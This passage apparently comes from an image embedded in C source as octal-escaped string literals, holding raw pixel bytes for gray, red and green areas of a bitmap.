"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\321"
"\321\321\377xxx\377\010\010\010\377\000\000\000\377\000\032\000\377\000\265\000\377\000\377\000"
"\377\000\377\000\377\000\377\000\377\000\235\000\377\001\016\001\377\000\000\000\377\032\032\032\377"
"\235\235\235\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220"
"\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377ppp\355ppp\377"
"ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\233\233\233\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377iii\377\000\000\000\377"
"X\000\000\377\377\000\000\377\377\000\000\377\313\000\000\377D\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\316\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377Y\000\000\377\000\000\000\377:::\377\322\322\322\377```\377\000\000\000\377\212\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377B\000\000\377\000\000\000\377\234\234\234\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\261\261\261\377...\377\000\000\000\377"
"\000\001\000\377\000f\000\377\000\361\000\377\000\377\000\377\000\377\000\377\000\343\000\377\000D\000"
"\377\000\000\000\377\001\002\001\377bbb\377\313\313\313\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\231\225\225\377ppp\377ppp\355ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\233\233\233\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\275\275\275\377\003\003\003\377\006\000\000\377\310"
"\000\000\377\\\000\000\377\002\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\301\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\347\000"
"\000\377\020\000\000\377\000\000\000\377\200\200\200\377```\377\000\000\000\377\212\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"C\000\000\377\000\000\000\377\233\233\233\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\321\321\321\377~~~\377\012\013\012\377\000\000\000\377\000\010\000\377\000r\000\377\000\236"
"\000\377\000y\000\377\000U\000\377\000\060\000\377\000\012\000\377\000\000\000\377\022\022\022\377\221"
"\221\221\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\231\225\225\377ppp\377ppp\355ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\234\234\234\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377DDD\377\000\000\000\377\005\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377K\000\000\377\374"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\235"
"\000\000\377\000\000\000\377\010\010\010\377;;;\377\000\000\000\377\212\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377C\000\000\377\000\000"
"\000\377\233\233\233\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\310\310\310\377:::\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377DDD\377\300\300\300\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377"
"qqq\356ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\232\232\232\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\062\000\000\377\263\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377`\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377C\000\000\377\000\000\000\377\233\233\233"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\210\210\210\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\013\013\013\377)))\377GGG\377eee\377\203\203\203\377\242\242\242"
"\377\301\301\301\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225"
"\225\377ppp\377qqq\356ppp\377ppp\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377"
"\234\234\234\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\321\321\321\377\026\026\026\377\000\000\000\377\000"
"\000\000\377\000\000\000\377/\000\000\377\260\000\000\377\376\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\366\000\000\377\065\000\000\377\000\000\000\377\000\000\000\377\212\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377D\000\000\377"
"\000\000\000\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\311\311\311\377~~~\377\202"
"\202\202\377\240\240\240\377\277\277\277\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225\377"
"ppp\377qqq\356ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234"
"\234\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\231\231\231\377\000\000\000\377\007\000\000"
"\377\241\000\000\377\376\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\351\000\000\377$\000\000\377\000\000\000\377\225\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377D\000\000"
"\377\000\000\000\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\231\225\225\377ppp\377qqq\356ppp\377ppp\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377\234\234\234\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377;;;\377"
"\000\000\000\377t\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\344\000\000\377\215\000\000\377\361\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377E\000\000\377\000\000\000\377\231\231\231\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\231\225\225\377ppp\377ppp\357ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\234\234\234\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\253\253\253\377\002\001\001\377\007\000\000\377\324\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377E\000\000\377\000\000\000\377\231\231\231\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220"
"\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377ppp\357pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377SSS\377\000\000\000\377"
"\063\000\000\377\373\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377E\000\000\377\000\000\000\377"
"\231\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225"
"\377ppp\377ppp\357ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234"
"\234\234\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\306\306\306\377\032\032\032\377\000\000\000\377\203\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377F\000\000\377\000\000\000\377\230\230\230\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\231\225\225\377ppp\377ppp\357ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\233\233\233\377"
"\001\001\001\377\006\000\000\377\317\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377G\000\000\377\000\000\000\377"
"\033\033\033\377aaa\377\246\246\246\377\317\317\317\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\312\312\312\377\304"
"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
